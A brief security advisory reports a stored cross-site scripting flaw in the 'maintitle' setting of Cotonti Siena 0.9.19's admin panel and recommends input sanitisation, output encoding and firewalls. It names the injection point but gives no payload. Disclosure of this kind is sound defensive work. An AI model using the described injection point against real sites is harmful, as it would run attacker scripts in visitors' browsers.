Cotonti Siena 0.9.19 – ‘maintitle’ Stored Cross-Site Scripting

The Cotonti Siena 0.9.19 application is vulnerable to stored cross-site scripting (XSS) attacks. An attacker can exploit this vulnerability by entering a malicious payload in the 'maintitle' parameter in the Configuration tab of the Admin Panel. When the payload is saved and the home page is accessed, the XSS attack is triggered, allowing the execution of arbitrary JavaScript code.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user input and implement proper output encoding before displaying it on web pages. Additionally, web application firewalls (WAFs) can be used to detect and block XSS attacks.
